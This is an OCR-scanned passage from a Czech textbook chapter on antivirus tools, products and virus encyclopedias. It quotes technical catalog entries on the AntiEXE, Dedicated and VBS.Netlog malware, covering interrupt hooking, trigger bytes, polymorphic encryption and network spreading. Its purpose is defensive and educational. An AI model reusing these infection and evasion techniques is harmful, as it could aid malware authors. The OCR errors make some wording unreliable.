dé replikaci jinou podobu. Heuristika je jednou ze zékladnich moZnosti, jak lze polymorfni vi-
ry identifikovat. Navic identifika¢ni fetézce vyzaduji Casty ,update”, nebof dokazi vyhledat
pouze ty viry, které jsou obsazeny v databéazi virovych identifikacénich fetézct. Principem heu-
ristické analyzy je maly expertni systém, kter§ sémanticky zkoumé Gvodni instrukce pro-
gramu a na zakladé databéze virovych pravidel uréuje, zda je program infikovan &i nikoliv.
Tento expertni systém ,,update nevyzaduje. Heuristickd metoda anal§yzy tedy nezkouma pfi-
tomnost konkrétniho viru, ale obecné viru jakéhokoliv. Cilem je zejména upozornit na pode-
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ztel§ soubor, kdy je véci uzivatele zvazit moznost, zda se jedna o fale3ng poplach ¢&i je-li pro-
gram skutené zavirovan. Samozfejmé, Ze ani tato metoda neni véemocnd, zejména v du-
sledcich zpusobenych Castymi obrannymi mechanismy virli proti jejich analyze. Je-li program
&i virus vyzbrojen obranou proti krokovani, dojde pochopitelné k selhani metody. Nékteré
antivirové programy v3ak disponuji podporou softwarové emulace kédu, kdy instrukce ne-
jsou skutecné provadény a testovani je proto naprosto bezpecné. Ptikladem silné heuristicky
zaméFeného antivirového programu je AVG.

Nastup 32bitovych virll umoZiujici napojit se v podstaté na kterékoliv misto programu
heuristickou analyzu podstatné ztéZuje.

7 we

Lécitel (clean)

Je-li tkolem skeneru virus najit, pak tkolem cleanu je nalezeny virus odstranit. Odstranéni vi-
ru, zejména souborového, je véci velice choulostivou. Obecné plati zasada, Ze nejlepsi odvi-
rovani souboru je jeho obnoveni ze zalozni kopie. Nékteré viry totiz nelze odstranit z divo-
du jejich pFepisovactho charakteru, jiné viry nelze odstranit se zarukou z davodu jejich
programovych chyb apod. Velkgm problémem jsou mutace virt, kdy virus mize bgt, diky
zna¢né podobnosti s jingm virem, mylné identifikovan a jeho odstranéni je pak logicky neko-
rektni. Evoluénim krokem ve v{voji odvirovacich programt je tzv. univerzalni clean (viz
obr.12). Ptikladem je program AVAST!, ktery si v jednom datovém souboru udrzuje pfehled
o zékladnich atributech soubort jako jsou délka, datum a ¢as vytvofeni, vlastni souborové
atributy, kontrolni soucet apod. Kromé téchto zakladnich tdaji jsou ukladény i originalni
hodnoty hlavicky EXE ¢i sled tvodnich instrukei v piipadé programt *.COM. Tyto uloZené
originalni tdaje umoZziuiji v pfipadé infikace prodluZujicim virem jednoduse virus odseknout
a vrétit tim infikovang soubor na jeho ptvodni velikost. Odvirovani je pak dokonéeno obno-
venim hlavicky EXE resp. Gvodnich instrukci v pfipadé programu *.COM.

Obnova
hlavickovych
udaji

! Program . Univerzdalni

| | clean

S —— - o
_ Vrrds_ ! Odstranéni viru

Obrézek 12: Princip univerzalniho cleanu
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¢ Rezidentni stit

MozZnost antivirové ochrany on-line. Rezidentni $tit aktivnim zplisobem chrani pocita¢ pred
virovou infiltraci v redlném Case. Nejcast&ji jde o program typu skener, kter( provadi antivi-
rovou kontrolu pravé zpracovavanych dat. Rezidentni §tit tak mlze zakazat zkopirovani za-
virovanych soubort z diskety na pevny disk ¢&i zakéazat spusténi infikovaného programu apod.
Dokonalej$i tity nepracuji na bézném skenovacim principu, kter§ je éasové velmi naroény,
ale na principu databéze virovych pravidel se zamé¥enim na vlastni virové Gtoky. Kontrola
volani krizovych funkci operacniho systému je casové mnohonasobné Gispornéjsi nez databa-
zové porovnavani identifikacnich fetézct. Dalsi vyhodou této metody je jeji univerzalnost
i pro zachyceni nov{ch virt.

Za variantu rezidentniho §itu Ize povaZovat i rozlicné on-line kontroly pfichéazejici e-mailo-
vé posty apod.

Podoby rezidentnich &titi jsou zavislé na opera¢nim systému. Pro MS-DOS to jsou rezi-
dentni programy TSR, pro Windows 95/98 ovladace VxD a pro Windows NT pak pfislus-
né Services.

e Monitor diskovich zmén

ZameéFenim monitoru je kontrola zmén stavu na pocitadi, zejména spustitelnjch souborti. Ne-
jedna se o standardni antivirovy program, ale o program, ktery si pro své interni Gcely vytva-
i na disku databazi popisti zdkladnich atributi hlidangch soubort. Atributy jsou zejména dél-
ka souboru, datum a Cas posledni aktualizace a hlavné kontrolni soucet obsahu souboru.
Kontrola atributu délky umozni detekci prodluZujicich viri, kontrola kontrolniho souétu pak
detekci prepisujicich virt. Duplicitni viry jsou registrovany vznikem nového duplicitniho sou-
boru COM na disku. Nejvétsi slabinou kontroly integrity dat je moznost jednorazové zamére-
ngch viri, kdy po odmazani kontrolni databaze ztraci kontrola svoji G¢innost.

6.1.1. Jednouéelové programy

Jednotcelové programy jsou speciélné zaméfené proti konkrétnimu viru & virové skupiné.
V dobé, kdy dojde k rozsifeni nového viru a dostupné antivirové baliky na jeho odstranéni ne-
stadi, nastupuiji tyto prozatimni programky antivirovgch nad$enct p¥ip. antivirovich firem. Lze
je ziskat zejména na antivirové zaméfenych stanicich BBS af uZ na siti Fidonet ¢&i Internet.

Dalsi Casté pouziti je v pfipadech komplikovangch vira. Napt. Disk Killer ¢i One Half koduji
jednotlivé stopy pevného disku. Je-li One Half aktivni v paméti, jsou diskovéa data v pfipadé po-
tfeby virem dekddovana a vracena operaénimu systému v korektni podobé. Virus se tim brani
svému odstranéni, nebot pouzitim klasického odvirovaciho mechanismu bootovacich virti dojde
sice k odvirovani zavadéciho sektoru, ale zaroven i ke ztraté ulozenych dat. Tato data totiz ziis-
tanou na disku zakédovana a bez pfitomnosti viru necitelna. Jednotcéelové programy (v nasem
pfipadé onehalf.exe & f35xx.exe) v téchto pripadech fesi i tento problém.
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.2. Programové baliky

Programové baliky jsou komplexni souhrny antivirovych programu dané firmy. Koncepce jsou
razné, od separatné oddélenych skenert, cleant a ostatnich antivirovgch utilit aZ po integrova-
né menu systémy (ty, diky prosttedi Windows jednoznacné prevladaii). Casté jsou i kombinace
obou pfistuptl, kdy uzivatel ma moznost danou komponentu bud’ spustit pfimo nebo z menu
rozhrani.

Co by mél obsahovat kvalitni antivirovy produkt?

Rychly skener s rozsahlou databazi virovich signatur znamych virt se schopnosti ucinné
detekovat i viry polymorfni, véetné makrovirli a jingch virové zamétenych hrozeb dneska.
Vhodnym doplitkem je podpora externich virovich signatur skeneru, umoZziujici dodatec-
né ptidani vzorkl nov{ch viri pro jejich vyhledavani.

Kuvalitni heuristickou analyzu pro detekci novich, neznamych virt.

Bézny i univerzalni clean pro odstrafiovani virt.

Rychly rezidentni $tit, ktery nepracuje na principu skeneru, ale na inteligentni bazi zachy-
ceni virovich akci.

Zadouci je podpora kontroly zavadéciho sektoru ,,zapomenuté® diskety v mechanice A: po
resetu stiskem klaves Ctrl+Alt+Del.

Moznost tschovy/obnovy kritickgch systémovych ¢asti pocitace zejména zavadéciho sek-
toru, tabulky rozdéleni pevného disku a paméti CMOS.

Podporu piikazového fadku pro moznost tvorby davkovich soubort *.BAT, pfip. i s moz-
nosti planovani spusténi (jednou denné, tydné apod.).

Schopnost detekovat chyby integrity dat, jako jsou vadné programy, mylné pojmenovani
souboru na spustitelnou pfiponu apod.

Kontrolu komprimovangch soubort.

Kontrolu souborti pfichazejicich po Internetu, af uz ve formé nahravangch souborti z we-
bovych stranek ¢&i e-mailovych pfiloh.

Dostate¢nou odolnost proti falengm poplachiim.

Databézi popistt detekovatelngch virt.

Jaké programové baliky na trhu jsou uZivateli dostupné?

Nasledujici abecedné fazeny informacni vicet poskytuje pouze struény souhrn nejvjraznéj-
$ich znakti pfednich antivirovgch komplet, kterg se pochopitelné miize s vy38imi verzemi dale
vyvijet:
¢ ADinf, ADinf32 - Advanced Diskinfoscope

Netypicky antivirovy program zaméfeny svym pojetim zejména proti neznamym virtm.

Podstatou je kontrola integrity souborového systému zaloZena na principu kontrolnich sou¢-

t (CRC). Néazev kontrolni databaze je variabilni, coZ vylucuje jednordzové zamérené Gtoky

proti tomuto typu antivirového programu. Dojde-li k infikaci souboru, dojde i ke zméné opro-

ti idajim kontrolni databaze a tim i k upozornéni uzivatele.
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e AVAST!, AVAST32

Komplexni fada antivirovgch utilit tuzemského pltivodu, velice dobfe hodnocena i v celosvé-
tovém méritku. K dispozici ve verzi AVAST! (pro MS-DOS a Windows 3.x) jsou klasicky ske-
ner, rychly skener zaméfeny na nejrozsitenéjsi domaci viry, klasicky clean, univerzalni clean,
kontrola zmén soubort a rezidentni Stity, hlidajici kritické virové akce (modifikace sledova-
nych soubortl, pokusy o formatovani, pfimy zapis na disk apod.) a zavadéci sektor ,,zapome-
nuté” diskety A:. Koncepce menu rozhrani i vlastni pojeti utilit AVASTu jsou velice podobné
se zahrani¢nim programem Virus Alert. Verze AVAST32 (pro Windows 95/98 a NT) dispo-
nuje napf. aktivnim antivirovym stmivacem obrazovky, umoZziujicim skenovani v dobé neéin-
nosti pocitace.

e AVG

Dalsi kvalitni tuzemsky antivirovg produkt, ktery je vybaven aktivnimi anti-stealth technikami,
umoziujici bezpeénou antivirovou kontrolu i bez zavedeni opera¢niho systému z nezavirova-
né systémové diskety. Osobitym prvkem je detailné propracovana heuristicka analjza, kdy
uZivatel ma moZnost nastaveni fady voleb (hloubka zébéru poétu analyzovanych instrukei,
maximalni doba testu v sekundach apod.). K dispozici je heuristické analyza obsluh vektor
preruseni 13h a 21h, které jsou nejcastéjsim teréem virovgch Gtokt. Cely systém je na vyso-
ké odborné urovni, k dispozici je i aktivni virova lécka na pfitomné viry v operaéni paméti
a emulace fronty instrukci procesoru, ktera zajistuje zvgsenou odolnost proti virim, které se
brani krokovani svého téla. Kromé standardni 1&cby infikovangch programt podporuje AVG
specialni heuristicky clean pro obecné souborové viry jednodussiho typu. 32bitova verze je
pak feSena formou modularni koncepce (Active Modular Core) zajistujici, Ze vsechny kompo-
nenty systému maji totoZznou detekéni schopnost. K dispozici jsou i antivirové plug-iny pos-
tovnich Klientt.

e F-PROT
Jeden z Klasickych antivirovich program, silng i v detekci chyb integrity dat. Existuje ve ver-
zich pro MS-DOS, Windows, F-MACROW pro detekci makrovirti a F-STOPW (rezidentni tit
VxD pro Windows 95/98).

e F-Secure Antivirus
Nova generace programu F-PROT. Umoznuje skenovat nékolika rizngmi motory soucasné.
Obsahuje skenovaci motory F-PROT a AVP, které mohou bézet na pozadi viech platforem
Windows.

e IM - Integrity Master
IM komplexné hlida integritu uloZenych dat na disku podobné jako ADinf. Podporuje zaklad-
ni antivirové komponenty s kontrolou integrity dat, jejiz principem je v{pocet identifikacnich
signatur pro kazdg soubor. Tento vipocet je kbdovany a metoda vipoctu je ndhodné vybra-
na. Obsahuje dopliikové kontroly pro naruseni soubortt *.DLL.
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e McAfee VirusScan
Patrné nejznaméjsi , klasicky“ skener u nés. Sklada se ze zékladniho GUI, skeneru, planova-
Ce spousténi antivirového testu, rezidentniho stitu Vshield, komponenty WebScanX pro kon-
trolu souborti nahravanych z Internetu, pfiloh e-mailli, podeztelych appleti a prvk ActiveX.
Dale je k dispozici cc:Mail Scan pro platformy Lotus apod. a aktivni antivirovy stmiva¢ obra-
zovky ScreenScan.

¢ Norton Internet Security
Rozsahly balik poskytujici ochranu pfi surfovani Internetem s rodi¢ovskou moznosti nastave-
ni tabu stranek pro své zvidavé ratolesti. Soudasti je i antivirovy program Norton AntiVirus
vyznacujici se implementovanou detekci bootovacich virli s vyuZitim neuronovych siti a tech-
nologii Bloodhound pro detekci polymorfnich virti a makrovir. Tato technologie vytvafi vir-
tualni pocitaé nebo virtuélni e-mailovou schranku, ve ktergch otevie kontrolovangy obsah
a provéfi, zda neobsahuje virové hrozby.

e NVC/TBAV
ThunderBYTE AntiVirus je resp. byl velice rychly antivirovy produkt podporujici Gplnou soft-
warovou emulaci kédu. To znamend, Ze instrukce programu nejsou skuteéné provadény
a antivirové testovani je tim naprosto bezpeéné. V roce 1998 byl koupen firmou Norman
a déle jiz neni podporovan. Doslo vsak k jeho integraci do produktu Norman Virus Control,
jenz véak nedosahuje rychlosti TBAV.

Mezi dalsi produkty zasluhujici pozornost patfi mj. programy InoculatelT, NOD, InVircible,
Panda, Dr.WEB a Sophos. Dne3ni seri6zni antiviry samoziejmé disponuji i obranou proti ma-
krovirtim, trojskgm konim a &erviim. Rada z nich pak je schopna jistgm zptisobem chrénit po-
Citad pred infiltracemi zvendi (zejména e-mail).

6.1.3. Informacéni programy

DuleZitou souéasti antivirovych programu jsou informacni popisy znamgch vira. Tyto programy

nachazeji své uplatnéni zejména v okamziku, kdy se uZivatel setka s virem ,tvafi v tvaF* na svém

poditadi. Tehdy nastavé Cas zjistit, co vlastné dany virus provédi, do jaké miry je nebezpeény

a jaky je zplisob jeho odstranéni.

¢ HyperText VSUM
» The Virus Information Summary List* je velice kvalitni hypertextova databéze popisujici pre-
vazné viry detekovatelné McAfee VirusScanem. Databaze obsahuje pro zrychleni pfistupu
k informacim moznost odkaz(i ptes virovy index, nazvy skupin virlli a pochopitelné k¥izove
odkazy podle typu virt, jejich délek, mista vzniku, data aktivace a identifika¢niho oznaceni
VirusScanu. Déle umoziiuje vyhledani zadaného textu &i pouziti zalozek (bookmarks). Infor-
mace aktuélniho okna lze vytisknout na tiskarné. Obrazky 13 aZz 16 ukazuji zakladni navigac-
ni smér ziskani informaci o pfislusném viru po stisku zvgraznéngch polozek. I pfes nesporné
kvality VSUMu lze vSak v ném nalézt i fadu technickych nesrovnalosti v popisech néktergch
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viri, které v3ak na potfeby bézného uzivatele nemaji zadng vliv. Obrovskou skodou je, Ze za-
1 1998 je datum posledni aktualizace tohoto produktu.

File Configure Goto USUM Sections Help USUMX 9685
USUM MAIN MENU

] WELCOME TO VUSUM g

A word from Patricia... Using USUM

Uirus Index Cross—-Reference
Relationship Chart Revision History
Licensing USUM Appendices

Certifications

Fl1:Help FZ2:Menu F4:Srch F5:Print F7:Color F8:Viewed <{<{— +>> F1B:Exit ESC:GoBack
Obrézek 13: VSUM - zékladni menu

File Configure Goto USUM Sections Help USUMX 9685
Uirus Index

Fl1:Help FZ2:Menu F4:Srch F5:Print F7:Color F8:Viewed <{<{— +>> F1B:Exit ESC:GoBack

Obrézek 14: VSUM - index jmen vird
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File Goto V3UM Sections USUMX 9685

Conf igure

Help

Zaphod
Zaragosa
Zelentsou
Zero Bug
ZeroHunt
Zherkovu
ZigZag
ZK988
ZMT

Zoid
Zombie

Fl:Help FZ2:Menu F4:Srch F5:Print F7:Color F8:Viewed <<— +>> F1B:Exit ESC:GoBack

Obrézek 15: VSUM - seznam jmen vird zaéinajicich na pismeno Z

File

Virusz Name:
fAliazes:

U Status:
Discovered:
Symptoms:
Origin:

Eff Length:
Type Code:

Conf igure

Goto WVSUM Sections Help USUMX 9685

Zero Bug——————————————
Zero Bug T
Palette, 1536, Zero
Endangered
September, 1989
.COHM growth (see text):; TSR: graphics display
Hetherlands
1,536 bytes
PR=C - Parasitic Resident .COM Infector

Detection Method: VWiruscan, F-Prot, AVTK, NAV, Sweep, CPAV,
HAVBoot, VAlert, PCScan,
NShld, LProt, Sweep-sN, Innoc,
NAU~-N, IBMAV-N

Removal Instructions: F-Prot, or delete

IBMAV,
HNProt, AUTK-N,
infected files

General Comments:
The Zero Bug virus was first isolated in the Hetherlands by Jan
Terpstra in September, 1989. This virus is a memory resident .COM
file infector. Infected .COM files will increase in size by 1.536
bytes, however the increase in file length will not show up when
the disk directory is displayed.

Fi1:Help FZ2:Menu F4:5rch F5:Print F?:Color FB:Viewed <<— +>> F1B:Exit ESC:GoBack

Obrézek 16: VSUM - popis viru Zero Bug

Pro uZivatele s jazykovou bariérou existuje bud komeréni ¢eska verze nebo ekvivalent-
ni hypertextova databéze dostupné on-line na Internetu (viz déale).
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Mezi techniétéji zamétené popisy pocitatovych virt patti CAROBASE, Computer Virus
Catalog a PC-Virus Index.

e CAROBASE
Databéaze virovgch popisti zaméfena na struéné a jasné technické charakteristiky dangch vi-

ri. CAROBASE je dostupna zejména prostfednictvim sité Internet v souborech
CAROBASE. Ukazkou je nasledujici popis viru AntiEXE:

NAME : AntiEXE

ALTASES: D3

TARGETS: MBR, FBR

RESIDENT: TOP

MEMORY_SIZE: 1K

STORAGE_SIZE: 1S

WHERE: LAST_R (any floppy), AT 0/0/0dH (HARD)

{
The virus calculates the address of the Tast
sector of a root directory, using data from
BIOS parameter block on a diskette

}

STEALTH: INT 13/AH=02,CX=0001,DH=0 { Hides infected MBR/FBR }
POLYMORPHIC: NONE

ARMOURING: CODE { Remaps INT 13 to INT D3 and uses the latter }
TUNNELLING: BIOS (OTHER - loaded before DOS)

INFECTIVITY: 6 { As Stoned - MBR infector }

OBVIOUSNESS: NONE

COMMONNESS: 2

COMMONNESS_DATE: 1993-09-19
TRANSTENT_DAMAGE: When the virus is active in memory, some (one?) EXE
program(s) are copied/loaded with a very first byte
changed (i.e. ‘MZ’ sign is corrupted). Thus, such
a program would be treated by DOS as a COM program,
most Tikely hanging a PC when executed.
T_DAMAGE_TRIGGER: First eight bytes of a sector being read are as
follows:
DB ‘M’, “Z’, 40H, OOH, 88H, 01H, 37H, OFH
I.e. the virus hunts for a certain EXE header.
PERMANENT_DAMAGE: NONE
P_DAMAGE_TRIGGER: NONE
SIDE_EFFECTS: As in the case of Stoned, if a floppy being infected
contains many files/subdirectories in its root
directory, several (up to 16) last entries
in the root directory get corrupted.
INFECTION_TRIGGER: Floppies: INT 13/AH=02,CX=00001,DH=0 && DL<=1
{ I.e. it attempts to infect a floppy in
either A: or B: drive when the floppy’s
Boot record is being read }
Hard disk: Boot from an infected floppy { As Stoned }
MSG_DISPLAYED: NONE
MSG_NOT_DISPLAYED: ‘MZ’
INTERRUPTS_HOOKED: 13/AH=02, 13/AH=F9, D3
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SELFREC_IN_MEMORY: NONE { Doesn’t need any - MBR/FBR infector }

SELFREC_ON_DISK: PDisk[0/0/11[0-3] == Virus[0-3]

{ Compares first 4 bytes of MBR/FBR to the virus body }

LIMITATIONS: NONE { MS-DOS/PC-DOS }

COMMENTS: The virus hunts for a certain unknown EXE program.
Besides INT 13/AH=02 (Read Sector(s)) BIOS function,
the virus also intercepts INT 13/AH=F9, which is unknown
to me. In the case of AH=F9 the virus simply returns
to the caller.

ANALYSIS_BY: Dmitry 0. Gryaznov
DOCUMENTATION_BY: Dmitry 0. Gryaznov
ENTRY_DATE: 1993-09-21
LAST_MODIFIED: 1993-09-21
SEE_ALSO:

END:

Computer Virus Catalog

Dalsi technicky zaméfena databaze virovych popisti. Podobné jako CAROBASE je i Compu-
ter Virus Catalog dostupng zejména na siti Internet v souborech MSDOSVIR, UNIXVIR,
MACVIR apod. dle pfislusngch platforem operaénich systémuil. Pro piiklad je vybran popis
polymorfniho viru Dedicated:

==== Computer Virus Catalog 1.2: Dedicated Virus (31-January 1992) ===
Entry...............: Dedicated Virus
Alias(es)......oouuu: —--
Virus Strain........: ---
Polymorphism engine.: Mutating Engine (ME) 0.9
Virus detected when.: UK
where.: January 1992

Classification......: Polymorphic encrypted program (COM) infector,
non-resident
Length of Virus.....: 3,5 kByte (including Mutating Engine)

--------------------- Preconditions ----------------------------------
Operating System(s).: MS-DOS

Version/Release.....: Z2.xx upward
Computer model(s)...: IBM - PCs, XT, AT, upward and compatibles
fffffffffffffffffffff Attributes ------------"-"-"-"-"-"-"-"-"-"--"-"-"-"---"--------

Easy Identification.: COM file growth (no other direct detection means
are known as virus encrypts itself, and due
to the installed mutation engine, all occu-
rences of this virus differ widely)

Type of infection...: COM file infector: all COM files in current
directory on current drive (disk,diskette)
are infected upon executing an infected file.

Infection Trigger...: Execution of an infected COM file.

Media affected......: Hard disk, any floppy disk

Interrupts hooked...: ---

Crypto method.......: The virus encrypts itself upon infecting a COM

file using its own encryption routine; upon
execution, the virus decrypts itself using
its own small algorithm.
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Polymorphic method..: After decryption, the virus’ envelope consisting
of Mutating Engine 0.9 will widely vary the
virus’ coding before newly infecting another
COM file. Due to this method, common pieces
of code of more than three bytes (=signatures)
of any two instances of this virus are highly
improbable.

Remark: Mutating Engine 0.9 very probably was
developped by the Bulgarian virus writer
”"Dark Avenger”; such a program was announced
early 1991 as permutating more than 4 billion
times, and it appeared in October 1991 or
before.

The class of permutating viruses is named
“polymorphic” to indicate the changing
structure which may not be identified with
contemporary means. To indicate the relation
to such common engine, the term ”Polymorhic
engine (method)” has been introduced.

ME 0.9 was distributed via several Virus
Exchange Bulletin Boards, so it is possible
that other ME 0.9 related viruses appear.
According to (non-validated) information, an-
other ME 0.9 based virus (Pogue?) has been
detected in North America: COM file infector,
memory resident, length about 3,7 kBytes.

Damage..............: Virus overwrites at random times random sectors
(one at a time) with garbage (INT 26 used).

Damage Trigger......: Random time

Similarities........: ---

Particularities.....: The virus contains a text greeting a US based

female hacker; this text is visible after
decryption.
fffffffffffffffffffff Agents -----------oo oo
Countermeasures.....: Contemporarily, no automatic method for reliable
identification of polymorphic viruses known.
- ditto - successful: ---
Standard means......: ---
--------------------- Acknowledgement -----------------"----"-----------

Location............: Virus Test Center, University Hamburg, Germany
Classification by...: Vesselin Bontchev, Klaus Brunnstein
Documentation by....: Dr. Alan Solomon

Date................: 31-January-1992

End of Dedicated Virus

e PC-Virus Index
Databéaze technicky zaméfenych popisti s nadstavbovym programem pro usnadnéni prace
s obsazenymi informacemi ve formatu Computer Virus Catalogu.
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e AVP Virus Encyclopedia
S Gstupem podavangch technickych informaci je AVP jednou ze zbyvajicich kvalitnich a
aktualizovanych encyklopedii. Bohuzel mnohdy velice kvalitni popis sttidaji neziidka znacné
strohé informace. Vybranou ukazkou je popis erva Netlog:

VBS.Netlog

This is a worm written in the Visual Basic Script Tanguage (VBS). It
spreads through a network by copying itself on other computers in the
network.

When activated, the worm generates a random network IP address (for
example 145.65.28.0) and tries to connect to all computers in this
network. It changes the Tast octet of the address from 1 to 255 and
tries to connect. If a connection was accepted the worm copies itself
on the connected computer’s C: drive into the folders:

C:\
C:\WINDOWS\STARTM~1\PROGRAMS\STARTUP
C:\WINDOWS

C:\WINDOWS\START MENU\PROGRAMS\STARTUP
C:\WIN9S\START MENU\PROGRAMS\STARTUP
C:\WIN95\STARTM~1\PROGRAMS\STARTUP
C:\WIND95

If all computers in this network are inaccessible the worm generates
a new network IP address.

The worm creates the file ”C:\NETWORK.LOG”. In this file the worm
writes a log of everything that it does. The file content Tooks like:

Log file Open

Subnet : 145.65.28.0

Subnet : 23.44.93.0

Subnet : 50.112.201.0

Subnet : 176.3.138.0

Copying files to : \\176.3.138.5\"
Successfull copy to : \\176.3.138.5\"’

The spreading ability of this worm is very low, because the search for
victim computers takes a 1ot of time and most computers will reject
the requested connection.

Souhrné informace o virech poskytuii i rizné programové komplety, at uz v integrované po-
dobé (napt. F-PROT) &i v separatné oddélené encyklopedii (napt. zminovana AVP Virus Ency-
clopedia). Encyklopedie jsou k dispozici i na webowvich strankach.
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6.2. Prostredky s podporou hardwaru

Antivirové prostfedky s podporou hardwaru poskytuji vétsi stupen ochrany ve srovnani s pro-
sttedky softwarovymi. Jejich jadro je tvofeno ve vétsing ptipadt pocitacovou kartou, a to kar-
tou urlenou zejména obecné pro ochranu dat. MoZné antivirové zaméfeni plyne z jejich
v8eobecné podstaty. Slotové karty vsak skrgvaji i spoustu tskali. Nejvétsim problémem je sa-
mozifejmé kompatibilita, tj. ,,snaSenlivost” pouzitého hardwaru se svgm okolim, a to af uz s oko-
lim programovym ¢&i technickym. Komplikace s grafickou kartou &i rozdilné verze ochrannych
karet podle typu fadi€e pevného disku jsou ty zakladni. Rovnéz nezanedbatelnou je otazka do
jaké miry produkt uZivatele omezuje v jeho zvyklostech a navycich prace na pocitadi.

¢ Bezpecnostni karty

Pocitaové karty, které chrani uloZena data na pocitaci. Nejcastégji fidi pristup k pocitaci po-
moci hesla, definuji skupiny uZivatell opravnéngch k praci na pocitaci, definuji Grovné pii-
stupu uzivatelskych skupin (uzZivatel nemusi mit nap¥. pfistupné disketové jednotky!), sleduji
provoz pocitaCe atd. Je zfejmé, Ze v pfipadé uZivatele s nejnizsim stupném opravnéni, kterg
ma k dispozici pouze prava na éteni, nemuZe tento uZivatel poéita zavirovat. Zneviditelnéni
disketové jednotky A: vylucuje moznost infikace bootovacim virem. Antivirové zaméfeni je
v pfipadech bezpetnostnich karet podobné stupni ochran sifovjch operaénich systému. Vy-
louéena neni ani moznost pfidavngch antivirovgch modult.

Variantou bezpeénostnich karet jsou karty ifrovaci. Sifrovani vak skyta kromé velké mi-
ry bezpecnosti i velké nebezpedi v pfipadé poruchy systému. Staci jeden vadny sektor Sifro-
vaciho systému a vSechna data jsou uZivateli nepfistupna.

¢ Antivirové karty
Poditacoveé karty, jejichz pfeduréenim je pfimyg boj s poéitacovimi viry. Principem antivirové
ochrany je v tomto pfipadé zejména kontrola volanjch pferuseni a ochrana proti zapisu.

V pfipadé volanych preruseni jsou kontrolovany pozadavky na zépis do inkriminovangch
(nejCastéji systemovych) oblasti pevného disku.

Ochrana proti zépisu byva nejcastéji realizovana hardwarovym zamkem portu fadice dis-
ku, kterg je odemknut v pfipadé opravnénosti pozadavku. Obsluzng program karty nejcasté-
ji pfi startu operaéniho systému vytvaii dle specifikace chranéngch soubort tzv. tabulku chra-
nénych clustert. Je-li pak pfi praci na pocitaéi dan pozadavek na zapis na disk, rezidentni
jadro zjistuje, zda misto zapisu se nachazi v tabulce chranénych clusterti ¢i nikoliv. Podle to-
ho pak bud odemkne hardwarovy zdmek nebo pozadovanou operaci zakaze.

Tento principiélni zpisob ochrany soubort proti zapisu mé vak dva zékladni nedostatky.
Prvnim je nemoznost obrany proti duplicitnim virtim, které ponechéavaji infikovany program
naprosto nedotéen. Druhym nedostatkem je nepfizptisobilost operaéniho systému MS-DOS
ke skuteénosti, Ze ¢ast pevného disku je pristupna pouze ke &teni a jina Cast i pro zapis. To
vede k nesrovnalostem v tabulce FAT napt. pfi pfesouvani chranéngch souborti v nadstav-
bovych prostfedcich typu M602 resp. NC, kdy dochézi k vytvoteni duplicitni adreséfové po-
loZky vzhledem k tomu, Ze karta nepovoli zrugeni ptivodni (chranéné) adresarové polozky.
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V3echna tato Gskali jsou dulezita pro uzivatele a méla by byt brana v Gvahu ptedtim, nez
se uZivatel rozhodne pro konkrétni typ antivirové karty.

¢ Specifické hardwarové prostiedky

Do této skupiny patfi zejména produkt PC-cillin americké firmy Trend Micro Devices. Zakla-
dem PC-cillinu je tzv. imunizaéni box — pfemazatelna pamét EEPROM pfipojena k pocitaci
pfes paralelni port (jde o priichozi ,krabicku“ podobnou hardwarovgm Kkli¢im néktergch ko-
mercénich programt). P¥i instalaci se do imunizaéniho boxu zapisi udaje o systémovych ob-
lastech pevného disku (partition table). P¥i kazdém startu pocitace pak rezidentni jadro PC-
cillinu testuje, zda souhlasi Udaje imunizaéniho boxu se skuteCnosti. Rezidentni jadro
PC-cillinu je ve své podstaté inteligentni antivirovy rezidentni &tit. Tento Stit nepracuje na
principu pomalého skenovéani, ale na tzv. databazi virovich pravidel, vychéazejici z predpokla-
du, Ze virus k tomu, aby mohl replikovat své télo, musi splnit sled urcitgch podminek. Spliu-
je-li choulostiva akce nékolik sledovanych podminek, je prohlaena za virus. Diky tomuto
principu PC-cillin nepotfebuje ,update” a je znacné rychly, coZ jsou jeho zasadni vihody
oproti jingm antivirovgm §titim. Pochopitelné ani PC-cillin neni vSemocnou ochranou proti
virdm, neni problém proti nému vytvorit jednorazové zaméreny virus, nicméné svjm pojetim
zachycovani obecnych virovich Gtoki na jing soubor jej lze zafadit mezi neomezujici ,user
friendly“ produkty. PC-cillin patfi mezi vibec nejodolnéjsi antivirové prostfedky viéi tzv. pla-
nym poplachlim. Samoziejmé i zde v3ak existuje moznost neopodstatnéného varovani, po-
kud nap¥. uZivatel otevie soubor *.COM pro editaci a zméni v ném Gvodni instrukce. Je zfej-
mé, Ze za&dny antivirovy prostiedek v této chvili nemuiZe rozpoznat, zda se jedna o Gtok viru
¢ neolekavanou aktivitu uzivatele. Imunizaéni box je navic zaroveh hezkou ukazkou feSeni
ochrany autorskgch prav, nebot bez ngj je stit nefunkéni.

Trend poslednich let je ve znameni silného Gstupu hardwarovich prostfedkii. Diivodem je ze-
jména znacna cenova narocnost vijvoje takového prostiedku snasejiciho se pouze s rok aktual-
ni verzi pravé ,moderniho” operacniho systému, takZze napt. i zmifiovany PC-cillin je jiz k dis-
pozici v Cisté softwarové podobé.

6.3. Neuronové sité a viry

Stéle nartstajici pocet novych vird nuti ptehodnotit bézné antivirové metody pracujici na prin-
cipu virovych identifikacnich fetézct. Klasické porovnani testovaného souboru s obrovskou fe-
tézcovou databazi je Casové velice naroéné a do budoucna naprosto neperspektivni. Zatimco
vivoj virovgch technik je srozumitelng a prihledny, tak vjvoj antivirovich metod neni pfili§ zma-
povan, protoZe kazda antivirova firma si chrani pouzité algoritmy pted konkurenci jako své vi-
robni tajemstvi.

Moderni moZznosti je vyuziti neuronovych siti. Neuronové sité simuluji schopnosti lidského
mozku. Jednotlivé mozkové neurony, které jsou napojeny na fadu dal$ich neuront, lze ptirov-
nat k jednoduchym procesoriim tvoficich komplexni procesorovou sit umoZziujici sou¢asné pa-
ralelni zpracovani obrovského mnozstvi vstupnich informaci. Kazdému spojeni mezi neurony je
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pfifazena tzv. vaha, kterd se méni podle definovaného sitového modelu. Tyto vahy jsou aktua-
lizovany v u€icim procesu, kter§ probiha v okamziku spusténi modelu.

Paméfovy systém neuronovych siti je tvofen tzv. asociativni pameéti. Informace v asociativni pame-
ti neni uloZena na jednom misté, ale je rozprostfena mezi vahy jednotlivich spojeni mezi neurony.

Asociativni paméti neuronovych siti umozhuji vyvolat informace i pfi netplném nebo posko-
zeném vstupu. Tato vlastnost a uéici schopnost stavi asociativni paméf do pozice G¢inného pro-
stfedku pro detekci znamych vir i odvozenych mutaci.

Antivirové zaméfené neuronové sité jsou pfi startu naplnény virovgmi identifikaénimi fetézci,
které pti vlastnim detekénim procesu umoziuji diky asociativni povaze sité detekovat i virové
